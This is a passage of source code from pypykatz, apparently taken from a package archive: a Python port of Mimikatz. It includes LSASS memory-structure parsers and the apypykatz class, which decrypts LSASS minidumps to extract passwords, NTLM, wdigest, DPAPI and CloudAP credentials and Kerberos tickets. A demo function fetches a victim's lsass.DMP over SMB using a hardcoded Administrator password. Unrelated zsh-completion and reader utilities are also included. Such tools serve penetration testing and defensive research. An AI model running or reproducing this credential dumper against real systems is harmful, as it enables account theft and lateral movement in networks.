https://msdn.microsoft.com/en-us/library/windows/desktop/aa378064(v=vs.85).aspx class KerberosNameType(enum.Enum): KRB_NT_UNKNOWN = 0 KRB_NT_PRINCIPAL = 1 KRB_NT_PRINCIPAL_AND_ID = -131 KRB_NT_SRV_INST = 2 KRB_NT_SRV_INST_AND_ID = -132 KRB_NT_SRV_HST = 3 KRB_NT_SRV_XHST = 4 KRB_NT_UID = 5 KRB_NT_ENTERPRISE_PRINCIPAL = 10 KRB_NT_ENT_PRINCIPAL_AND_ID = -130 KRB_NT_MS_PRINCIPAL = -128 KRB_NT_MS_PRINCIPAL_AND_ID = -129 class PKERB_EXTERNAL_NAME(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKERB_EXTERNAL_NAME() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KERB_EXTERNAL_NAME return p class KERB_EXTERNAL_NAME: def __init__(self): self.NameType = None self.NameCount = None self.Names = [] # list of LSA_UNICODE_STRING @staticmethod async def load(reader): res = KERB_EXTERNAL_NAME() res.NameType = await SHORT.loadvalue(reader) #KerberosNameType(SHORT(reader).value) res.NameCount = await USHORT.loadvalue(reader) await reader.align() for _ in range(res.NameCount): t = await LSA_UNICODE_STRING.load(reader) res.Names.append(t) return res async def read(self, reader): t = [] for name in self.Names: x = await name.read_string(reader) t.append(x) return t class KIWI_GENERIC_PRIMARY_CREDENTIAL: def __init__(self): self.UserName = None self.Domaine = None self.Password = None @staticmethod async def load(reader): res = KIWI_GENERIC_PRIMARY_CREDENTIAL() res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.Password = await LSA_UNICODE_STRING.load(reader) return res class PRTL_BALANCED_LINKS(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PRTL_BALANCED_LINKS() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = RTL_BALANCED_LINKS return p class RTL_BALANCED_LINKS: def __init__(self): self.Parent = None self.LeftChild = None self.RightChild = None self.Balance = None self.Reserved = None @staticmethod async def load(reader): res = RTL_BALANCED_LINKS() res.Parent = await PRTL_BALANCED_LINKS.load(reader) res.LeftChild = await PRTL_BALANCED_LINKS.load(reader) res.RightChild = await PRTL_BALANCED_LINKS.load(reader) res.Balance = await BYTE.loadvalue(reader) res.Reserved = await reader.read(3) # // align await reader.align() return res class PRTL_AVL_TABLE(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PRTL_AVL_TABLE() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = RTL_AVL_TABLE return p class RTL_AVL_TABLE: def __init__(self): self.BalancedRoot = None self.OrderedPointer = None self.WhichOrderedElement = None self.NumberGenericTableElements = None self.DepthOfTree = None self.RestartKey = None self.DeleteCount = None self.CompareRoutine = None self.AllocateRoutine = None self.FreeRoutine = None self.TableContext = None @staticmethod async def load(reader): res = RTL_AVL_TABLE() res.BalancedRoot = await RTL_BALANCED_LINKS.load(reader) res.OrderedPointer = await PVOID.load(reader) res.WhichOrderedElement = await ULONG.loadvalue(reader) res.NumberGenericTableElements = await ULONG.loadvalue(reader) res.DepthOfTree = await ULONG.loadvalue(reader) await reader.align() res.RestartKey = await PRTL_BALANCED_LINKS.load(reader) res.DeleteCount = await ULONG.loadvalue(reader) await reader.align() res.CompareRoutine = await PVOID.load(reader) res.AllocateRoutine = await PVOID.load(reader) res.FreeRoutine = await PVOID.load(reader) res.TableContext = await PVOID.load(reader) return res class PLSAISO_DATA_BLOB(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PLSAISO_DATA_BLOB() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = LSAISO_DATA_BLOB return p class LSAISO_DATA_BLOB: size = 9*4 + 3*16 + 16 #+sizeof array ?ANYSIZE_ARRAY def __init__(self): self.structSize = None self.unk0 = None self.typeSize = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.unkKeyData = None self.unkData2 = None self.unk5 = None self.origSize = None self.data = None #size determined later @staticmethod async def load(reader): res = LSAISO_DATA_BLOB() res.structSize = await DWORD.loadvalue(reader) res.unk0 = await DWORD.loadvalue(reader) res.typeSize = await DWORD.loadvalue(reader) res.unk1 = await DWORD.loadvalue(reader) res.unk2 = await DWORD.loadvalue(reader) res.unk3 = await DWORD.loadvalue(reader) res.unk4 = await DWORD.loadvalue(reader) res.unkKeyData = await reader.read(3*16) res.unkData2 = await reader.read(16) res.unk5 = await DWORD.loadvalue(reader) res.origSize = await DWORD.loadvalue(reader) res.data = None #size determined later return res class ENC_LSAISO_DATA_BLOB: def __init__(self): self.unkData1 = None self.unkData2 = None self.data = None @staticmethod async def load(reader): res = ENC_LSAISO_DATA_BLOB() res.unkData1 = await reader.read(16) res.unkData2 = await reader.read(16) res.data = None #size determined later return res class GUID: def __init__(self): self.Data1 = None self.Data2 = None self.Data3 = None self.Data4 = None self.value = None @staticmethod async def loadvalue(reader): t = await GUID.load(reader) return t.value @staticmethod async def load(reader): res = GUID() res.Data1 = await DWORD.loadvalue(reader) res.Data2 = await WORD.loadvalue(reader) res.Data3 = await WORD.loadvalue(reader) res.Data4 = await reader.read(8) res.value = '-'.join([ hex(res.Data1)[2:].zfill(8), hex(res.Data2)[2:].zfill(4), hex(res.Data3)[2:].zfill(4), hex(int.from_bytes(res.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4), hex(int.from_bytes(res.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12) ]) return res class PLIST_ENTRY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PLIST_ENTRY() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = LIST_ENTRY return p ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/apypykatz.py0000664000175000017500000002666314543266630017374 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import platform import json import asyncio import base64 import traceback from pypykatz.commons.common import KatzSystemInfo from pypykatz.alsadecryptor import CredmanTemplate, MsvTemplate, \ MsvDecryptor, WdigestTemplate, LsaTemplate, WdigestDecryptor, \ LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \ TspkgDecryptor, TspkgTemplate, \ DpapiTemplate, DpapiDecryptor, LsaDecryptor,CloudapTemplate,\ CloudapDecryptor, KerberosTemplate, KerberosDecryptor from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession from pypykatz import logger from pypykatz.commons.common import UniversalEncoder from minidump.aminidumpfile import AMinidumpFile from minikerberos.common.ccache import CCACHE from minikerberos.common.kirbi import Kirbi from pypykatz._version import __version__ class apypykatz: def __init__(self, reader, sysinfo): self.reader = reader self.sysinfo = sysinfo self.credentials = [] self.architecture = None self.operating_system = None self.buildnumber = None self.lsa_decryptor = None self.logon_sessions = {} self.orphaned_creds = [] self.errors = [] self.kerberos_ccache = CCACHE() def to_dict(self): t = {} t['logon_sessions'] = {} for ls in self.logon_sessions: # print(ls) t['logon_sessions'][ls] = (self.logon_sessions[ls].to_dict()) t['orphaned_creds'] = [] for oc in self.orphaned_creds: t['orphaned_creds'].append(oc.to_dict()) t['errors'] = [] for pkg, err in self.errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() t['errors'].append((pkg,err_str)) return t def to_json(self): return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) def to_grep(self): res = ':'.join(LogonSession.grep_header) + '\r\n' for luid in self.logon_sessions: for row in self.logon_sessions[luid].to_grep_rows(): res += ':'.join(row) + '\r\n' for cred in self.orphaned_creds: t = cred.to_dict() if t['credtype'] != 'dpapi': if t['password'] is not None: x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] res += ':'.join(x) + '\r\n' else: t = cred.to_dict() x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] res += ':'.join(x) + '\r\n' for pkg, err in self.errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str] res += ':'.join(x) + '\r\n' return res def __str__(self): res = '== Logon credentials ==\r\n' for luid in self.logon_sessions: res += str(self.logon_sessions[luid]) + '\r\n' if len(self.orphaned_creds) > 0: res += '== Orphaned credentials ==\r\n' for cred in self.orphaned_creds: res += str(cred) + '\r\n' if len(self.errors) > 0: res += '== Errors ==\r\n' for pkg, err in self.errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() res += '%s %s \r\n' % (pkg+'_exception_please_report',err_str) return res @staticmethod async def parse_minidump_file(filename, packages = ['all'], chunksize=10*1024): try: minidump = await AMinidumpFile.parse(filename) reader = minidump.get_reader().get_buffered_reader(chunksize) sysinfo = KatzSystemInfo.from_minidump(minidump) except Exception as e: logger.exception('Minidump parsing error!') raise e try: mimi = apypykatz(reader, sysinfo) await mimi.start(packages) except Exception as e: #logger.info('Credentials parsing error!') mimi.log_basic_info() raise e return mimi @staticmethod async def parse_minidump_external(handle, packages = ['all'], chunksize=10*1024): """ Parses LSASS minidump file based on the file object. File object can really be any object as longs as it implements read, seek, tell functions with the same parameters as a file object would. handle: file like object """ minidump = await AMinidumpFile.parse_external(handle) reader = minidump.get_reader().get_buffered_reader(chunksize) sysinfo = KatzSystemInfo.from_minidump(minidump) mimi = apypykatz(reader, sysinfo) await mimi.start(packages) return mimi def log_basic_info(self): """ In case of error, please attach this to the issues page """ logger.info('===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE =====') logger.info('pypyKatz version: %s' % __version__) logger.info('CPU arch: %s' % self.sysinfo.architecture.name) logger.info('OS: %s' % self.sysinfo.operating_system) logger.info('BuildNumber: %s' % self.sysinfo.buildnumber) logger.info('MajorVersion: %s ' % self.sysinfo.major_version) logger.info('MSV timestamp: %s' % self.sysinfo.msv_dll_timestamp) logger.info('===== BASIC INFO END =====') async def get_logoncreds(self): credman_template = CredmanTemplate.get_template(self.sysinfo) msv_template = MsvTemplate.get_template(self.sysinfo) logoncred_decryptor = MsvDecryptor(self.reader, msv_template, self.lsa_decryptor, credman_template, self.sysinfo) await logoncred_decryptor.start() self.logon_sessions = logoncred_decryptor.logon_sessions async def get_lsa_bruteforce(self): #good luck! logger.debug('Testing all available templates! Expect warnings!') for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo): try: lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) await lsa_dec.acquire_crypto_material() lsa_dec.dump() except: pass else: logger.debug('Lucky you! Brutefoce method found a -probably- working template!') return lsa_dec async def get_lsa(self): #trying with automatic template detection try: lsa_dec_template = LsaTemplate.get_template(self.sysinfo) lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) await lsa_dec.acquire_crypto_material() lsa_dec.dump() except Exception as e: logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e)) lsa_dec = await self.get_lsa_bruteforce() if lsa_dec is None: raise Exception('All detection methods failed.') return lsa_dec else: return lsa_dec async def get_wdigest(self): decryptor_template = WdigestTemplate.get_template(self.sysinfo) decryptor = WdigestDecryptor(self.reader, decryptor_template, self.lsa_decryptor, self.sysinfo) await decryptor.start() for cred in decryptor.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].wdigest_creds.append(cred) else: self.orphaned_creds.append(cred) async def get_tspkg(self): tspkg_dec_template = TspkgTemplate.get_template(self.sysinfo) tspkg_dec = TspkgDecryptor(self.reader, tspkg_dec_template, self.lsa_decryptor, self.sysinfo) await tspkg_dec.start() for cred in tspkg_dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].tspkg_creds.append(cred) else: self.orphaned_creds.append(cred) async def get_ssp(self): dec_template = SspTemplate.get_template(self.sysinfo) dec = SspDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) await dec.start() for cred in dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].ssp_creds.append(cred) else: self.orphaned_creds.append(cred) async def get_livessp(self): livessp_dec_template = LiveSspTemplate.get_template(self.sysinfo) livessp_dec = LiveSspDecryptor(self.reader, livessp_dec_template, self.lsa_decryptor, self.sysinfo) await livessp_dec.start() for cred in livessp_dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].livessp_creds.append(cred) else: self.orphaned_creds.append(cred) async def get_dpapi(self): dec_template = DpapiTemplate.get_template(self.sysinfo) dec = DpapiDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) await dec.start() for cred in dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].dpapi_creds.append(cred) else: self.orphaned_creds.append(cred) async def get_kerberos(self, with_tickets = True): dec_template = KerberosTemplate.get_template(self.sysinfo) dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) await dec.start() for cred in dec.credentials: for ticket in cred.tickets: for fn in ticket.kirbi_data: self.kerberos_ccache.add_kirbi(Kirbi(ticket.kirbi_data[fn])) if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].kerberos_creds.append(cred) else: self.orphaned_creds.append(cred) async def get_cloudap(self): cloudap_dec_template = CloudapTemplate.get_template(self.sysinfo) if cloudap_dec_template is None: return cloudap_dec = CloudapDecryptor(self.reader, cloudap_dec_template, self.lsa_decryptor, self.sysinfo) await cloudap_dec.start() for cred in cloudap_dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].cloudap_creds.append(cred) else: self.orphaned_creds.append(cred) async def start(self, packages = ['all']): #self.log_basic_info() #input() self.lsa_decryptor = await self.get_lsa() if 'msv' in packages or 'all' in packages: try: await self.get_logoncreds() except Exception as e: self.errors.append(('msv', e)) if 'wdigest' in packages or 'all' in packages: try: await self.get_wdigest() except Exception as e: self.errors.append(('wdigest', e)) if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages: with_tickets = False if 'ktickets' in packages or 'all' in packages: with_tickets = True await self.get_kerberos(with_tickets) if 'tspkg' in packages or 'all' in packages: try: await self.get_tspkg() except Exception as e: self.errors.append(('tspkg', e)) if 'ssp' in packages or 'all' in packages: try: await self.get_ssp() except Exception as e: self.errors.append(('ssp', e)) if 'livessp' in packages or 'all' in packages: try: await self.get_livessp() except Exception as e: self.errors.append(('livessp', e)) if 'dpapi' in packages or 'all' in packages: try: await self.get_dpapi() except Exception as e: self.errors.append(('dpapi', e)) if 'cloudap' in packages or 'all' in packages: try: await self.get_cloudap() except Exception as e: self.errors.append(('cloudap', e)) async def amain(): from aiosmb.commons.connection.factory import SMBConnectionFactory from pypykatz.alsadecryptor.asbmfile import SMBFileReader import sys f=sys.argv[1] print(f) url = 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/C$/Users/victim/Desktop/lsass.DMP' smburl = SMBConnectionFactory.from_url(url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: _, err = await connection.login() if err is not None: raise err _, err = await smbfile.open(connection) if err is not None: raise err mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile)) print(mimi) def main(): import logging logging.basicConfig(level=1) asyncio.run(amain()) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/argparsertest.py0000664000175000017500000002711114543266630020213 0ustar00webdevwebdev#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # zpycompletion # # Copyright 2015 Spencer McIntyre # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of the nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # import argparse import contextlib import datetime import imp import os import pwd import sys import jinja2 __all__ = ['make_completion_from_argparse'] __version__ = '1.2' # script.arguments # script.author # script.c_year # script.name # script.subparser_cmds # script.subparsers # version ZSH_COMPLETION_TEMPLATE = """\ #compdef {{ script.name }} # ------------------------------------------------------------------------------ # Copyright (c) {{ script.c_year }} {{ script.author }} # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the project nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL ZSH-USERS BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ------------------------------------------------------------------------------ # Description # ----------- # # Completion script for {{ script.name }}. # # ------------------------------------------------------------------------------ # Authors # ------- # # * {{ script.author }} # # ------------------------------------------------------------------------------ # Generated with zpycompletion v{{ version }} {% for subparser_cmd in script.subparser_cmds %} {{ subparser_cmd.name }}() { _arguments \\ {% for line in subparser_cmd.arguments %} {{ line }} {% endfor %} } {% endfor %} {% for subparser in script.subparsers %} {{ subparser.name }}() { local -a _subparser_cmds _subparser_cmds=( {% for action in subparser.actions %} "{{ action.name }}:{{ action.help }}" {% endfor %} ) if (( CURRENT == {{ subparser.position }} )); then _describe "commands" _subparser_cmds else local curcontext="$curcontext" cmd="${${_subparser_cmds[(r)$words[{{ subparser.position }}]:*]%%:*}}" if (( $#cmd )); then if (( $+functions[{{ subparser.name }}_cmd_$cmd] )); then {% if subparser.position > 1 -%} (( CURRENT -= {{ subparser.position - 1 }} )) shift {{ subparser.position - 1 }} words {% endif -%} {{ subparser.name }}_cmd_$cmd CURRENT else _files fi else _message "unknown command: $words[{{ subparser.position }}]" fi fi } {% endfor %} _arguments \\ {% for line in script.arguments %} {{ line }} {% endfor %} """ def _actions_sort(action): if len(action.option_strings): return sorted(action.option_strings)[-1] return '' def _argument_action(action): zarg_action = '' if action.choices: zarg_action = ':(' + ' '.join(action.choices) + ')' elif isinstance(action.type, argparse.FileType): zarg_action = ':_files' return zarg_action class _ZshCompletion(object): def __init__(self, parser): self.parser = parser self.arguments = [] self.subparsers = [] self.subparser_cmds = [] actions = sorted(self.parser._actions, key=_actions_sort) self.arguments = self._parse_actions(actions) def _parse_actions(self, actions, subparser_name=None): lines = [] subparser = None positional = 1 for action in actions: if isinstance(action, argparse._SubParsersAction): subparser = (action, positional) continue if isinstance(action, argparse._HelpAction): lines.append("{-h,--help}\"[show help text]\"") continue if len(action.option_strings) == 0: # positional if isinstance(action.nargs, int) and action.nargs > 1: for _ in range(positional, (positional + action.nargs)): lines.append("\"{0}::{1}{2}\"".format(positional, action.dest, _argument_action(action))) positional += 1 continue elif action.nargs in (argparse.REMAINDER, '*', '+'): line = '"*' elif action.nargs in (None, 1, '?'): line = '"' + str(positional) positional += 1 line += ':' + action.dest else: if len(action.option_strings) == 1: options = '"' + action.option_strings[0] else: options = '{' + ','.join(action.option_strings) + '}"' if isinstance(action, argparse._AppendAction): line = '"*"' + options + "[{0}]:{1}".format(action.help, action.dest.replace('_', ' ')) elif isinstance(action, argparse._StoreAction): line = options + "[{0}]:{1}".format(action.help, action.dest.replace('_', ' ')) elif isinstance(action, argparse._VersionAction): line = options + '[show version information]' elif isinstance(action, argparse._StoreConstAction): line = options + '[' + action.help + ']' else: continue line += _argument_action(action) + '"' lines.append(line) if subparser: subparser, position = subparser subp_actions = map(lambda a: dict(name=a.dest, help=a.help), subparser._choices_actions) subp_dest = ('action' if subparser.dest == argparse.SUPPRESS else subparser.dest) subp_name = (subparser_name or '_subparser') + '_' + subp_dest self.subparsers.append(dict(name=subp_name, position=position, actions=subp_actions)) lines.append("\"*::{0}:{1}\"".format(subp_dest, subp_name)) for key, value in subparser._name_parser_map.items(): subp_cmd_name = "{0}_cmd_{1}".format(subp_name, key) subp_cmd_arguments = self._parse_actions(value._actions, subparser_name=subp_name) self.subparser_cmds.append(dict(name=subp_cmd_name, arguments=subp_cmd_arguments)) for i in range(len(lines) - 1): lines[i] = lines[i] + ' \\' return lines def make_completion_from_argparse(parser, destination=None, input_prompt=True): """ Create a zsh completion file from a :py:class:`argparse.ArgumentParser` instance. :param parser: The parser instance to build completions for. :type parser: :py:class:`argparse.ArgumentParser` :param bool input_prompt: Whether to prompt for user input or not. """ script = {} #script['author'] = pwd.getpwuid(os.getuid()).pw_gecos #if input_prompt: # script['author'] = input("[?] author ({0}): ".format(script['author'])) or script['author'] #script['c_year'] = datetime.date.today().year #if input_prompt: # script['c_year'] = input("[?] copyright year ({0}): ".format(script['c_year'])) or script['c_year'] #script['name'] = parser.prog #if input_prompt: # script['name'] = input("[?] script name ({0}): ".format(script['name'])) or script['name'] zsh_comp = _ZshCompletion(parser) script['arguments'] = zsh_comp.arguments script['subparsers'] = zsh_comp.subparsers script['subparser_cmds'] = zsh_comp.subparser_cmds return script #env = jinja2.Environment(trim_blocks=True) #template = env.from_string(ZSH_COMPLETION_TEMPLATE) #destination = destination or '_' + script['name'] #with open(destination, 'w') as file_h: # file_h.write(template.render(script=script, version=__version__)) #print('[*] completion saved as: ' + destination) class _FakeArgparse(object): def __init__(self): self.parser = None def __getattr__(self, name): if name == 'ArgumentParser': return self._hook return getattr(argparse, name) def _hook(self, *args, **kwargs): self.parser = argparse.ArgumentParser(*args, **kwargs) return self.parser @contextlib.contextmanager def _muted_std_streams(): stdout = sys.stdout stderr = sys.stderr sys.stdout = open(os.devnull, 'w') sys.stderr = open(os.devnull, 'w') try: yield except Exception: raise finally: sys.stdout = stdout sys.stderr = stderr def main(): parser = argparse.ArgumentParser() parser.add_argument('-m', '--method', dest='target_function', default='main', help='the function which creates the ArgumentParser instance') parser.add_argument('-o', '--output', dest='output', help='the path to write the completion file to') parser.add_argument('--no-prompt', dest='input_prompt', default=True, action='store_false', help='do not prompt for input') parser.add_argument('script', help='the python script to load from') arguments = parser.parse_args() script = os.path.abspath(arguments.script) if not os.path.isfile(script): print('[-] invalid script file: ' + script) return script_path, script_name = os.path.split(script) sys.path.append(script_path) script_import_name = script_name if script_import_name.endswith('.py'): script_import_name = script_name[:-3] sys.dont_write_bytecode = True sys.modules['argparse'] = _FakeArgparse() print('[*] importing: ' + script_import_name) try: module = imp.load_source(script_import_name, script) except SyntaxError: print('[!] failed to import the python file') return if not hasattr(module, arguments.target_function): print("[-] the specified script has no {0}() function".format(arguments.target_function)) print('[-] can not automatically get the parser instance') return sys.argv = [script_name, '--help'] try: with _muted_std_streams(): getattr(module, arguments.target_function)() except SystemExit: pass if not sys.modules['argparse'].parser: print("[-] no parser was created in {0}.{1}()".format(script_name, arguments.target_function)) return make_completion_from_argparse(sys.modules['argparse'].parser, destination=arguments.output, input_prompt=arguments.input_prompt) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/argpretty.py0000664000175000017500000000061314543266630017344 0ustar00webdevwebdev import pprint from .argparsertest import make_completion_from_argparse def argpretty(parser): #print(1) #input(pprint.pprint(parser.__dict__)) #print(2) #input(pprint.pprint(parser.__dict__['_actions'])) x = make_completion_from_argparse(parser) pprint.pprint(x['subparsers']) for key in x: print(key) input() for rd in x['subparser_cmds']: print(rd['name']) input()././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2873638 pypykatz-0.6.10/pypykatz/commons/0000775000175000017500000000000014647211624016422 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/__init__.py0000664000175000017500000000000014543266630020523 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/common.py0000664000175000017500000003423614543266630020276 0ustar00webdevwebdevimport traceback import enum import json import datetime import base64 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE def geterr(err:Exception): t = str(err) + '\r\n' for line in traceback.format_tb(err.__traceback__): t += line return t class KatzSystemArchitecture(enum.Enum): X86 = enum.auto() X64 = enum.auto() class GenericReader: def __init__(self, data, processor_architecture = KatzSystemArchitecture.X64): """ data is bytes """ self.processor_architecture = processor_architecture self.start_address = 0 self.end_address = len(data) self.size = len(data) self.data = data self.current_position = 0 def inrange(self, ptr): return self.start_address <= ptr <= self.end_address def seek(self, offset, whence = 0): """ Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets. 0: beginning of the current memory segment 1: from current position 2: from the end of the current memory segment If you wish to move out from the segment, use the 'move' function """ if whence == 0: t = self.start_address + offset elif whence == 1: t = self.current_position + offset elif whence == 2: t = self.end_address - offset else: raise Exception('Seek function whence value must be between 0-2') if not self.inrange(t): raise Exception('Seek would point out of buffer') self.current_position = t return def move(self, address): """ Moves the buffer to a virtual address specified by address """ self.seek(address) return def align(self, alignment = None): """ Repositions the current reader to match architecture alignment """ if alignment is None: if self.processor_architecture == KatzSystemArchitecture.X64: alignment = 8 else: alignment = 4 offset = self.current_position % alignment if offset == 0: return offset_to_aligned = (alignment - offset) % alignment self.seek(offset_to_aligned, 1) return def tell(self): """ Returns the current virtual address """ return self.current_position def peek(self, length): """ Returns up to length bytes from the current memory segment """ t = self.current_position + length if not self.inrange(t): raise Exception('Would read out of buffer!') return self.data[self.current_position - self.start_address :t - self.start_address] def read(self, size = -1): """ Returns data bytes of size size from the current segment. If size is -1 it returns all the remaining data bytes from memory segment """ if size < -1: raise Exception('You shouldnt be doing this') if size == -1: oldnew_pos = self.current_position self.current_position = self.end_address return self.data[oldnew_pos:] t = self.current_position + size if not self.inrange(t): raise Exception('Would read out of buffer!') old_new_pos = self.current_position self.current_position = t return self.data[old_new_pos:t] def read_int(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian singed int on 32 bit arch Reads an 8 byte small-endian singed int on 64 bit arch """ if self.processor_architecture == KatzSystemArchitecture.X64: return int.from_bytes(self.read(8), byteorder = 'little', signed = True) else: return int.from_bytes(self.read(4), byteorder = 'little', signed = True) def read_uint(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian unsinged int on 32 bit arch Reads an 8 byte small-endian unsinged int on 64 bit arch """ if self.processor_architecture == KatzSystemArchitecture.X64: return int.from_bytes(self.read(8), byteorder = 'little', signed = False) else: return int.from_bytes(self.read(4), byteorder = 'little', signed = False) def find(self, pattern): """ Searches for a pattern in the current memory segment """ pos = self.data.find(pattern) if pos == -1: return -1 return pos + self.current_position def find_all(self, pattern): """ Searches for all occurrences of a pattern in the current memory segment, returns all occurrences as a list """ pos = [] last_found = -1 while True: last_found = self.data.find(pattern, last_found + 1) if last_found == -1: break pos.append(last_found + self.start_address) return pos def get_ptr(self, pos): self.move(pos) return self.read_uint() #raw_data = self.read(pos, self.sizeof_ptr) #return struct.unpack(self.unpack_ptr, raw_data)[0] def get_ptr_with_offset(self, pos): if self.processor_architecture == KatzSystemArchitecture.X64: self.move(pos) ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True) return pos + 4 + ptr #raw_data = self.read(pos, self.sizeof_long) #ptr = struct.unpack(self.unpack_long, raw_data)[0] #return pos + self.sizeof_long + ptr else: self.move(pos) return self.read_uint() #raw_data = self.read(pos, self.sizeof_long) #return struct.unpack(self.unpack_long, raw_data)[0] class AGenericReader: def __init__(self, data, processor_architecture = KatzSystemArchitecture.X64): """ data is bytes """ self.processor_architecture = processor_architecture self.start_address = 